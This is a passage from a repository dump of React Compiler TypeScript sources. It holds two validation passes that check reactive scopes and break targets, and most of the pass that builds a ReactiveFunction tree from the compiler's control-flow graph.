    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertScopeInstructionsWithinScope.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {visitReactiveFunction} from '.';\nimport {CompilerError} from '..';\nimport {\n  InstructionId,\n  Place,\n  ReactiveFunction,\n  ReactiveScopeBlock,\n  ScopeId,\n} from '../HIR';\nimport {getPlaceScope} from '../HIR/HIR';\nimport {ReactiveFunctionVisitor} from './visitors';\n\n/*\n * Internal validation pass that checks all the instructions involved in creating\n * values for a given scope are within the corresponding ReactiveScopeBlock. Errors\n * in HIR/ReactiveFunction structure and alias analysis could theoretically create\n * a structure such as:\n *\n * Function\n *    LabelTerminal\n *     Instruction in scope 0\n *    Instruction in scope 0\n *\n * Because ReactiveScopeBlocks are closed when their surrounding block ends, this\n * structure would create reactive scopes as follows:\n *\n * Function\n *    LabelTerminal\n *      ReactiveScopeBlock scope=0\n *        Instruction in scope 0\n *    Instruction in scope 0\n *\n * This pass asserts we didn't accidentally end up with such a structure, as a guard\n * against compiler coding mistakes in earlier passes.\n */\nexport function assertScopeInstructionsWithinScopes(\n  fn: ReactiveFunction,\n): void {\n  const existingScopes = new Set<ScopeId>();\n  visitReactiveFunction(fn, new FindAllScopesVisitor(), existingScopes);\n  visitReactiveFunction(\n    fn,\n    new CheckInstructionsAgainstScopesVisitor(),\n    existingScopes,\n  );\n}\n\nclass FindAllScopesVisitor extends ReactiveFunctionVisitor<Set<ScopeId>> {\n  override visitScope(block: ReactiveScopeBlock, state: Set<ScopeId>): void {\n    this.traverseScope(block, state);\n    state.add(block.scope.id);\n  }\n}\n\nclass CheckInstructionsAgainstScopesVisitor extends ReactiveFunctionVisitor<\n  Set<ScopeId>\n> {\n  activeScopes: Set<ScopeId> = new Set();\n\n  override visitPlace(\n    id: InstructionId,\n    place: Place,\n    state: Set<ScopeId>,\n  ): void {\n    const scope = getPlaceScope(id, place);\n    if (\n      scope !== null &&\n      // is there a scope for this at all, or did we end up pruning this scope?\n      state.has(scope.id) &&\n      /*\n       * if the scope exists somewhere, it must be active or else this is a straggler\n       * instruction\n       */\n      !this.activeScopes.has(scope.id)\n    ) {\n      CompilerError.invariant(false, {\n        reason:\n          'Encountered an instruction that should be part of a scope, but where that scope has already completed',\n        description: `Instruction [${id}] is part of scope @${scope.id}, but that scope has already completed`,\n        loc: place.loc,\n      });\n    }\n  }\n\n  override visitScope(block: ReactiveScopeBlock, state: Set<ScopeId>): void {\n    this.activeScopes.add(block.scope.id);\n    this.traverseScope(block, state);\n    this.activeScopes.delete(block.scope.id);\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/AssertWellFormedBreakTargets.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {BlockId, ReactiveFunction, ReactiveTerminalStatement} from '../HIR';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\n/**\n * Assert that all break/continue targets reference existent labels.\n */\nexport function assertWellFormedBreakTargets(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Visitor(), new Set());\n}\n\nclass Visitor extends ReactiveFunctionVisitor<Set<BlockId>> {\n  override visitTerminal(\n    stmt: ReactiveTerminalStatement,\n    seenLabels: Set<BlockId>,\n  ): void {\n    if (stmt.label != null) {\n      seenLabels.add(stmt.label.id);\n    }\n    const terminal = stmt.terminal;\n    if (terminal.kind === 'break' || terminal.kind === 'continue') {\n      CompilerError.invariant(seenLabels.has(terminal.target), {\n        reason: 'Unexpected break to invalid label',\n        loc: stmt.terminal.loc,\n      });\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/BuildReactiveFunction.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  BasicBlock,\n  BlockId,\n  GeneratedSource,\n  GotoVariant,\n  HIR,\n  InstructionId,\n  Place,\n  ReactiveBlock,\n  SourceLocation,\n} from '../HIR';\nimport {\n  HIRFunction,\n  ReactiveBreakTerminal,\n  ReactiveContinueTerminal,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveLogicalValue,\n  ReactiveSequenceValue,\n  ReactiveTerminalStatement,\n  ReactiveTerminalTargetKind,\n  ReactiveTernaryValue,\n  ReactiveValue,\n  Terminal,\n} from '../HIR/HIR';\nimport {assertExhaustive} from '../Utils/utils';\n\n/*\n * Converts from HIR (lower-level CFG) to ReactiveFunction, a tree representation\n * that is closer to an AST. This pass restores the original control flow constructs,\n * including break/continue to labeled statements. Note that this pass naively emits\n * labels for *all* terminals: see PruneUnusedLabels which removes unnecessary labels.\n */\nexport function buildReactiveFunction(fn: HIRFunction): ReactiveFunction {\n  const cx = new Context(fn.body);\n  const driver = new Driver(cx);\n  const body = driver.traverseBlock(cx.block(fn.body.entry));\n  return {\n    loc: fn.loc,\n    id: fn.id,\n    nameHint: fn.nameHint,\n    params: fn.params,\n    generator: fn.generator,\n    async: fn.async,\n    body,\n    env: fn.env,\n    directives: fn.directives,\n  };\n}\n\nclass Driver {\n  cx: Context;\n\n  constructor(cx: Context) {\n    this.cx = cx;\n  }\n\n  /*\n   * Wraps a continuation result with preceding instructions. If there are no\n   * instructions, returns the continuation as-is. Otherwise, wraps the continuation's\n   * value in a SequenceExpression with the instructions prepended.\n   */\n  wrapWithSequence(\n    instructions: Array<ReactiveInstruction>,\n    continuation: {\n      block: BlockId;\n      value: ReactiveValue;\n      place: Place;\n      id: InstructionId;\n    },\n    loc: SourceLocation,\n  ): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {\n    if (instructions.length === 0) {\n      return continuation;\n    }\n    const sequence: ReactiveSequenceValue = {\n      kind: 'SequenceExpression',\n      instructions,\n      id: continuation.id,\n      value: continuation.value,\n      loc,\n    };\n    return {\n      block: continuation.block,\n      value: sequence,\n      place: continuation.place,\n      id: continuation.id,\n    };\n  }\n\n  /*\n   * Extracts the result value from instructions at the end of a value block.\n   * Value blocks generally end in a StoreLocal to assign the value of the\n   * expression. These StoreLocal instructions can be pruned since we represent\n   * value blocks as compound values in ReactiveFunction (no phis). However,\n   * it's also possible to have a value block that ends in an AssignmentExpression,\n   * which we need to keep. So we only prune StoreLocal for temporaries.\n   */\n  extractValueBlockResult(\n    instructions: BasicBlock['instructions'],\n    blockId: BlockId,\n    loc: SourceLocation,\n  ): {block: BlockId; place: Place; value: ReactiveValue; id: InstructionId} {\n    CompilerError.invariant(instructions.length !== 0, {\n      reason: `Expected non-empty instructions in extractValueBlockResult`,\n      description: null,\n      loc,\n    });\n    const instr = instructions.at(-1)!;\n    let place: Place = instr.lvalue;\n    let value: ReactiveValue = instr.value;\n    if (\n      value.kind === 'StoreLocal' &&\n      value.lvalue.place.identifier.name === null\n    ) {\n      place = value.lvalue.place;\n      value = {\n        kind: 'LoadLocal',\n        place: value.value,\n        loc: value.value.loc,\n      };\n    }\n    if (instructions.length === 1) {\n      return {block: blockId, place, value, id: instr.id};\n    }\n    const sequence: ReactiveSequenceValue = {\n      kind: 'SequenceExpression',\n      instructions: instructions.slice(0, -1),\n      id: instr.id,\n      value,\n      loc,\n    };\n    return {block: blockId, place, value: sequence, id: instr.id};\n  }\n\n  /*\n   * Converts the result of visitValueBlock into a SequenceExpression that includes\n   * the instruction with its lvalue. This is needed for for/for-of/for-in init/test\n   * blocks where the instruction's lvalue assignment must be preserved.\n   *\n   * This also flattens nested SequenceExpressions that can occur from MaybeThrow\n   * handling in try-catch blocks.\n   */\n  valueBlockResultToSequence(\n    result: {\n      block: BlockId;\n      value: ReactiveValue;\n      place: Place;\n      id: InstructionId;\n    },\n    loc: SourceLocation,\n  ): ReactiveSequenceValue {\n    // Collect all instructions from potentially nested SequenceExpressions\n    const instructions: Array<ReactiveInstruction> = [];\n    let innerValue: ReactiveValue = result.value;\n\n    // Flatten nested SequenceExpressions\n    while (innerValue.kind === 'SequenceExpression') {\n      instructions.push(...innerValue.instructions);\n      innerValue = innerValue.value;\n    }\n\n    /*\n     * Only add the final instruction if the innermost value is not just a LoadLocal\n     * of the same place we're storing to (which would be a no-op).\n     * This happens when MaybeThrow blocks cause the sequence to already contain\n     * all the necessary instructions.\n     */\n    const isLoadOfSamePlace =\n      innerValue.kind === 'LoadLocal' &&\n      innerValue.place.identifier.id === result.place.identifier.id;\n\n    if (!isLoadOfSamePlace) {\n      instructions.push({\n        id: result.id,\n        lvalue: result.place,\n        value: innerValue,\n        loc,\n      });\n    }\n\n    return {\n      kind: 'SequenceExpression',\n      instructions,\n      id: result.id,\n      value: {kind: 'Primitive', value: undefined, loc},\n      loc,\n    };\n  }\n\n  traverseBlock(block: BasicBlock): ReactiveBlock {\n    const blockValue: ReactiveBlock = [];\n    this.visitBlock(block, blockValue);\n    return blockValue;\n  }\n\n  visitBlock(block: BasicBlock, blockValue: ReactiveBlock): void {\n    CompilerError.invariant(!this.cx.emitted.has(block.id), {\n      reason: `Cannot emit the same block twice: bb${block.id}`,\n      loc: GeneratedSource,\n    });\n    this.cx.emitted.add(block.id);\n    for (const instruction of block.instructions) {\n      blockValue.push({\n        kind: 'instruction',\n        instruction,\n      });\n    }\n\n    const terminal = block.terminal;\n    const scheduleIds = [];\n    switch (terminal.kind) {\n      case 'return': {\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'return',\n            loc: terminal.loc,\n            value: terminal.value,\n            id: terminal.id,\n          },\n          label: null,\n        });\n        break;\n      }\n      case 'throw': {\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'throw',\n            loc: terminal.loc,\n            value: terminal.value,\n            id: terminal.id,\n          },\n          label: null,\n        });\n        break;\n      }\n      case 'if': {\n        const fallthroughId =\n          this.cx.reachable(terminal.fallthrough) &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        const alternateId =\n          terminal.alternate !== terminal.fallthrough\n            ? terminal.alternate\n            : null;\n\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'if');\n          scheduleIds.push(scheduleId);\n        }\n\n        let consequent: ReactiveBlock | null = null;\n        if (this.cx.isScheduled(terminal.consequent)) {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'if' where the consequent is already scheduled`,\n            loc: terminal.loc,\n          });\n        } else {\n          consequent = this.traverseBlock(\n            this.cx.ir.blocks.get(terminal.consequent)!,\n          );\n        }\n\n        let alternate: ReactiveBlock | null = null;\n        if (alternateId !== null) {\n          if (this.cx.isScheduled(alternateId)) {\n            CompilerError.invariant(false, {\n              reason: `Unexpected 'if' where the alternate is already scheduled`,\n              loc: terminal.loc,\n            });\n          } else {\n            alternate = this.traverseBlock(this.cx.ir.blocks.get(alternateId)!);\n          }\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'if',\n            loc: terminal.loc,\n            test: terminal.test,\n            consequent: consequent ?? this.emptyBlock(),\n            alternate: alternate,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null\n              ? null\n              : {\n                  id: fallthroughId,\n                  implicit: false,\n                },\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'switch': {\n        const fallthroughId =\n          this.cx.reachable(terminal.fallthrough) &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'switch');\n          scheduleIds.push(scheduleId);\n        }\n\n        const cases: Array<{\n          test: Place | null;\n          block: ReactiveBlock;\n        }> = [];\n        [...terminal.cases].reverse().forEach((case_, _index) => {\n          const test = case_.test;\n\n          let consequent: ReactiveBlock;\n          if (this.cx.isScheduled(case_.block)) {\n            CompilerError.invariant(case_.block === terminal.fallthrough, {\n              reason: `Unexpected 'switch' where a case is already scheduled and block is not the fallthrough`,\n              loc: terminal.loc,\n            });\n            return;\n          } else {\n            consequent = this.traverseBlock(\n              this.cx.ir.blocks.get(case_.block)!,\n            );\n            const scheduleId = this.cx.schedule(case_.block, 'case');\n            scheduleIds.push(scheduleId);\n          }\n          cases.push({test, block: consequent});\n        });\n        cases.reverse();\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'switch',\n            loc: terminal.loc,\n            test: terminal.test,\n            cases,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null\n              ? null\n              : {\n                  id: fallthroughId,\n                  implicit: false,\n                },\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'do-while': {\n        const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)\n          ? terminal.fallthrough\n          : null;\n        const loopId =\n          !this.cx.isScheduled(terminal.loop) &&\n          terminal.loop !== terminal.fallthrough\n            ? terminal.loop\n            : null;\n        const scheduleId = this.cx.scheduleLoop(\n          terminal.fallthrough,\n          terminal.test,\n          terminal.loop,\n        );\n        scheduleIds.push(scheduleId);\n\n        let loopBody: ReactiveBlock;\n        if (loopId) {\n          loopBody = this.traverseBlock(this.cx.ir.blocks.get(loopId)!);\n        } else {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'do-while' where the loop is already scheduled`,\n            loc: terminal.loc,\n          });\n        }\n\n        const testValue = this.visitValueBlock(\n          terminal.test,\n          terminal.loc,\n        ).value;\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'do-while',\n            loc: terminal.loc,\n            test: testValue,\n            loop: loopBody,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null\n              ? null\n              : {\n                  id: fallthroughId,\n                  implicit: false,\n                },\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'while': {\n        const fallthroughId =\n          this.cx.reachable(terminal.fallthrough) &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        const loopId =\n          !this.cx.isScheduled(terminal.loop) &&\n          terminal.loop !== terminal.fallthrough\n            ? terminal.loop\n            : null;\n        const scheduleId = this.cx.scheduleLoop(\n          terminal.fallthrough,\n          terminal.test,\n          terminal.loop,\n        );\n        scheduleIds.push(scheduleId);\n\n        const testValue = this.visitValueBlock(\n          terminal.test,\n          terminal.loc,\n        ).value;\n\n        let loopBody: ReactiveBlock;\n        if (loopId) {\n          loopBody = this.traverseBlock(this.cx.ir.blocks.get(loopId)!);\n        } else {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'while' where the loop is already scheduled`,\n            loc: terminal.loc,\n          });\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'while',\n            loc: terminal.loc,\n            test: testValue,\n            loop: loopBody,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null\n              ? null\n              : {\n                  id: fallthroughId,\n                  implicit: false,\n                },\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'for': {\n        const loopId =\n          !this.cx.isScheduled(terminal.loop) &&\n          terminal.loop !== terminal.fallthrough\n            ? terminal.loop\n            : null;\n\n        const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)\n          ? terminal.fallthrough\n          : null;\n\n        const scheduleId = this.cx.scheduleLoop(\n          terminal.fallthrough,\n          terminal.update ?? terminal.test,\n          terminal.loop,\n        );\n        scheduleIds.push(scheduleId);\n\n        const init = this.visitValueBlock(terminal.init, terminal.loc);\n        const initValue = this.valueBlockResultToSequence(init, terminal.loc);\n\n        const testValue = this.visitValueBlock(\n          terminal.test,\n          terminal.loc,\n        ).value;\n\n        const updateValue =\n          terminal.update !== null\n            ? this.visitValueBlock(terminal.update, terminal.loc).value\n            : null;\n\n        let loopBody: ReactiveBlock;\n        if (loopId) {\n          loopBody = this.traverseBlock(this.cx.ir.blocks.get(loopId)!);\n        } else {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'for' where the loop is already scheduled`,\n            loc: terminal.loc,\n          });\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'for',\n            loc: terminal.loc,\n            init: initValue,\n            test: testValue,\n            update: updateValue,\n            loop: loopBody,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null ? null : {id: fallthroughId, implicit: false},\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'for-of': {\n        const loopId =\n          !this.cx.isScheduled(terminal.loop) &&\n          terminal.loop !== terminal.fallthrough\n            ? terminal.loop\n            : null;\n\n        const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)\n          ? terminal.fallthrough\n          : null;\n\n        const scheduleId = this.cx.scheduleLoop(\n          terminal.fallthrough,\n          terminal.init,\n          terminal.loop,\n        );\n        scheduleIds.push(scheduleId);\n\n        const init = this.visitValueBlock(terminal.init, terminal.loc);\n        const initValue = this.valueBlockResultToSequence(init, terminal.loc);\n\n        const test = this.visitValueBlock(terminal.test, terminal.loc);\n        const testValue = this.valueBlockResultToSequence(test, terminal.loc);\n\n        let loopBody: ReactiveBlock;\n        if (loopId) {\n          loopBody = this.traverseBlock(this.cx.ir.blocks.get(loopId)!);\n        } else {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'for-of' where the loop is already scheduled`,\n            loc: terminal.loc,\n          });\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'for-of',\n            loc: terminal.loc,\n            init: initValue,\n            test: testValue,\n            loop: loopBody,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null ? null : {id: fallthroughId, implicit: false},\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'for-in': {\n        const loopId =\n          !this.cx.isScheduled(terminal.loop) &&\n          terminal.loop !== terminal.fallthrough\n            ? terminal.loop\n            : null;\n\n        const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)\n          ? terminal.fallthrough\n          : null;\n\n        const scheduleId = this.cx.scheduleLoop(\n          terminal.fallthrough,\n          terminal.init,\n          terminal.loop,\n        );\n        scheduleIds.push(scheduleId);\n\n        const init = this.visitValueBlock(terminal.init, terminal.loc);\n        const initValue = this.valueBlockResultToSequence(init, terminal.loc);\n\n        let loopBody: ReactiveBlock;\n        if (loopId) {\n          loopBody = this.traverseBlock(this.cx.ir.blocks.get(loopId)!);\n        } else {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'for-in' where the loop is already scheduled`,\n            loc: terminal.loc,\n          });\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'for-in',\n            loc: terminal.loc,\n            init: initValue,\n            loop: loopBody,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null ? null : {id: fallthroughId, implicit: false},\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'branch': {\n        let consequent: ReactiveBlock | null = null;\n        if (this.cx.isScheduled(terminal.consequent)) {\n          const break_ = this.visitBreak(\n            terminal.consequent,\n            terminal.id,\n            terminal.loc,\n          );\n          if (break_ !== null) {\n            consequent = [break_];\n          }\n        } else {\n          consequent = this.traverseBlock(\n            this.cx.ir.blocks.get(terminal.consequent)!,\n          );\n        }\n\n        let alternate: ReactiveBlock | null = null;\n        if (this.cx.isScheduled(terminal.alternate)) {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'branch' where the alternate is already scheduled`,\n            loc: terminal.loc,\n          });\n        } else {\n          alternate = this.traverseBlock(\n            this.cx.ir.blocks.get(terminal.alternate)!,\n          );\n        }\n\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'if',\n            loc: terminal.loc,\n            test: terminal.test,\n            consequent: consequent ?? this.emptyBlock(),\n            alternate: alternate,\n            id: terminal.id,\n          },\n          label: null,\n        });\n\n        break;\n      }\n      case 'label': {\n        const fallthroughId =\n          this.cx.reachable(terminal.fallthrough) &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'if');\n          scheduleIds.push(scheduleId);\n        }\n\n        let block: ReactiveBlock;\n        if (this.cx.isScheduled(terminal.block)) {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'label' where the block is already scheduled`,\n            loc: terminal.loc,\n          });\n        } else {\n          block = this.traverseBlock(this.cx.ir.blocks.get(terminal.block)!);\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          terminal: {\n            kind: 'label',\n            loc: terminal.loc,\n            block,\n            id: terminal.id,\n          },\n          label:\n            fallthroughId == null ? null : {id: fallthroughId, implicit: false},\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n\n        break;\n      }\n      case 'sequence':\n      case 'optional':\n      case 'ternary':\n      case 'logical': {\n        const fallthroughId =\n          terminal.fallthrough !== null &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'if');\n          scheduleIds.push(scheduleId);\n        }\n\n        const {place, value} = this.visitValueBlockTerminal(terminal);\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'instruction',\n          instruction: {\n            id: terminal.id,\n            lvalue: place,\n            value,\n            loc: terminal.loc,\n          },\n        });\n\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'goto': {\n        switch (terminal.variant) {\n          case GotoVariant.Break: {\n            const break_ = this.visitBreak(\n              terminal.block,\n              terminal.id,\n              terminal.loc,\n            );\n            if (break_ !== null) {\n              blockValue.push(break_);\n            }\n            break;\n          }\n          case GotoVariant.Continue: {\n            const continue_ = this.visitContinue(\n              terminal.block,\n              terminal.id,\n              terminal.loc,\n            );\n            if (continue_ !== null) {\n              blockValue.push(continue_);\n            }\n            break;\n          }\n          case GotoVariant.Try: {\n            break;\n          }\n          default: {\n            assertExhaustive(\n              terminal.variant,\n              `Unexpected goto variant \\`${terminal.variant}\\``,\n            );\n          }\n        }\n        break;\n      }\n      case 'maybe-throw': {\n        /*\n         * ReactiveFunction does not explicit model maybe-throw semantics,\n         * so these terminals flatten away\n         */\n        if (!this.cx.isScheduled(terminal.continuation)) {\n          this.visitBlock(\n            this.cx.ir.blocks.get(terminal.continuation)!,\n            blockValue,\n          );\n        }\n        break;\n      }\n      case 'try': {\n        const fallthroughId =\n          this.cx.reachable(terminal.fallthrough) &&\n          !this.cx.isScheduled(terminal.fallthrough)\n            ? terminal.fallthrough\n            : null;\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'if');\n          scheduleIds.push(scheduleId);\n        }\n        this.cx.scheduleCatchHandler(terminal.handler);\n\n        const block = this.traverseBlock(\n          this.cx.ir.blocks.get(terminal.block)!,\n        );\n        const handler = this.traverseBlock(\n          this.cx.ir.blocks.get(terminal.handler)!,\n        );\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: 'terminal',\n          label:\n            fallthroughId == null ? null : {id: fallthroughId, implicit: false},\n          terminal: {\n            kind: 'try',\n            loc: terminal.loc,\n            block,\n            handlerBinding: terminal.handlerBinding,\n            handler,\n            id: terminal.id,\n          },\n        });\n\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n        break;\n      }\n      case 'pruned-scope':\n      case 'scope': {\n        const fallthroughId = !this.cx.isScheduled(terminal.fallthrough)\n          ? terminal.fallthrough\n          : null;\n        if (fallthroughId !== null) {\n          const scheduleId = this.cx.schedule(fallthroughId, 'if');\n          scheduleIds.push(scheduleId);\n          this.cx.scopeFallthroughs.add(fallthroughId);\n        }\n\n        let block: ReactiveBlock;\n        if (this.cx.isScheduled(terminal.block)) {\n          CompilerError.invariant(false, {\n            reason: `Unexpected 'scope' where the block is already scheduled`,\n            loc: terminal.loc,\n          });\n        } else {\n          block = this.traverseBlock(this.cx.ir.blocks.get(terminal.block)!);\n        }\n\n        this.cx.unscheduleAll(scheduleIds);\n        blockValue.push({\n          kind: terminal.kind,\n          instructions: block,\n          scope: terminal.scope,\n        });\n        if (fallthroughId !== null) {\n          this.visitBlock(this.cx.ir.blocks.get(fallthroughId)!, blockValue);\n        }\n\n        break;\n      }\n      case 'unreachable': {\n        // noop\n        break;\n      }\n      case 'unsupported': {\n        CompilerError.invariant(false, {\n          reason: 'Unexpected unsupported terminal',\n          loc: terminal.loc,\n        });\n      }\n      default: {\n        assertExhaustive(terminal, 'Unexpected terminal');\n      }\n    }\n  }\n\n  visitValueBlock(\n    blockId: BlockId,\n    loc: SourceLocation,\n    fallthrough: BlockId | null = null,\n  ): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {\n    const block = this.cx.ir.blocks.get(blockId)!;\n    // If we've reached the fallthrough block, stop recursing\n    if (fallthrough !== null && blockId === fallthrough) {\n      CompilerError.invariant(false, {\n        reason: 'Did not expect to reach the fallthrough of a value block',\n        description: `Reached bb${blockId}, which is the fallthrough for this value block`,\n        loc,\n      });\n    }\n    if (block.terminal.kind === 'branch') {\n      if (block.instructions.length === 0) {\n        return {\n          block: block.id,\n          place: block.terminal.test,\n          value: {\n            kind: 'LoadLocal',\n            place: block.terminal.test,\n            loc: block.terminal.test.loc,\n          },\n          id: block.terminal.id,\n        };\n      }\n      return this.extractValueBlockResult(block.instructions, block.id, loc);\n    } else if (block.terminal.kind === 'goto') {\n      if (block.instructions.length === 0) {\n        CompilerError.invariant(false, {\n          reason: 'Unexpected empty block with `goto` terminal',\n          description: `Block bb${block.id} is empty`,\n          loc,\n        });\n      }\n      return this.extractValueBlockResult(block.instructions, block.id, loc);\n    } else if (block.terminal.kind === 'maybe-throw') {\n      /*\n       * ReactiveFunction does not explicitly model maybe-throw semantics,\n       * so maybe-throw terminals in value blocks flatten away. In general\n       * we recurse to the continuation block.\n       *\n       * However, if the last portion\n       * of the value block is a potentially throwing expression, then the\n       * value block could be of the form\n       * ```\n       * bb1:\n       *   ...StoreLocal for the value block...\n       *   maybe-throw continuation=bb2\n       * bb2:\n       *   goto (exit the value block)\n       * ```\n       *\n       * Ie what would have been a StoreLocal+goto is split up because of\n       * the maybe-throw. We detect this case and return the value of the\n       * current block as the result of the value block\n       */\n      const continuationId = block.terminal.continuation;\n      const continuationBlock = this.cx.ir.blocks.get(continuationId)!;\n      if (\n        continuationBlock.instructions.length === 0 &&\n        continuationBlock.terminal.kind === 'goto'\n      ) {\n        return this.extractValueBlockResult(\n          block.instructions,\n          continuationBlock.id,\n          loc,\n        );\n      }\n\n      const continuation = this.visitValueBlock(\n        continuationId,\n        loc,\n        fallthrough,\n      );\n      return this.wrapWithSequence(block.instructions, continuation, loc);\n    } else {\n      /*\n       * The value block ended in a value terminal, recurse to get the value\n       * of that terminal and stitch them together in a sequence.\n       */\n      const init = this.visitValueBlockTerminal(block.terminal);\n      const final = this.visitValueBlock(init.fallthrough, loc);\n      return this.wrapWithSequence(\n        [\n          ...block.instructions,\n          {id: init.id, loc, lvalue: init.place, value: init.value},\n        ],\n        final,\n        loc,\n      );\n    }\n  }\n\n  /*\n   * Visits the test block of a value terminal (optional, logical, ternary) and\n   * returns the result along with the branch terminal. Throws a todo error if\n   * the test block does not end in a branch terminal.\n   */\n  visitTestBlock(\n    testBlockId: BlockId,\n    loc: SourceLocation,\n    terminalKind: string,\n  ): {\n    test: {\n      block: BlockId;\n      value: ReactiveValue;\n      place: Place;\n      id: InstructionId;\n    };\n    branch: {consequent: BlockId; alternate: BlockId; loc: SourceLocation};\n  } {\n    const test = this.visitValueBlock(testBlockId, loc);\n    const testBlock = this.cx.ir.blocks.get(test.block)!;\n    if (testBlock.terminal.kind !== 'branch') {\n      CompilerError.invariant(false, {\n        reason: `Expected a branch terminal for ${terminalKind} test block`,\n        description: `Got \\`${testBlock.terminal.kind}\\``,\n        loc: testBlock.terminal.loc,\n      });\n    }\n    return {\n      test,\n      branch: {\n        consequent: testBlock.terminal.consequent,\n        alternate: testBlock.terminal.alternate,\n        loc: testBlock.terminal.loc,\n      },\n    };\n  }\n\n  visitValueBlockTerminal(terminal: Terminal): {\n    value: ReactiveValue;\n    place: Place;\n    fallthrough: BlockId;\n    id: InstructionId;\n  } {\n    switch (terminal.kind) {\n      case 'sequence': {\n        const block = this.visitValueBlock(\n          terminal.block,\n          terminal.loc,\n          terminal.fallthrough,\n        );\n        return {\n          value: block.value,\n          place: 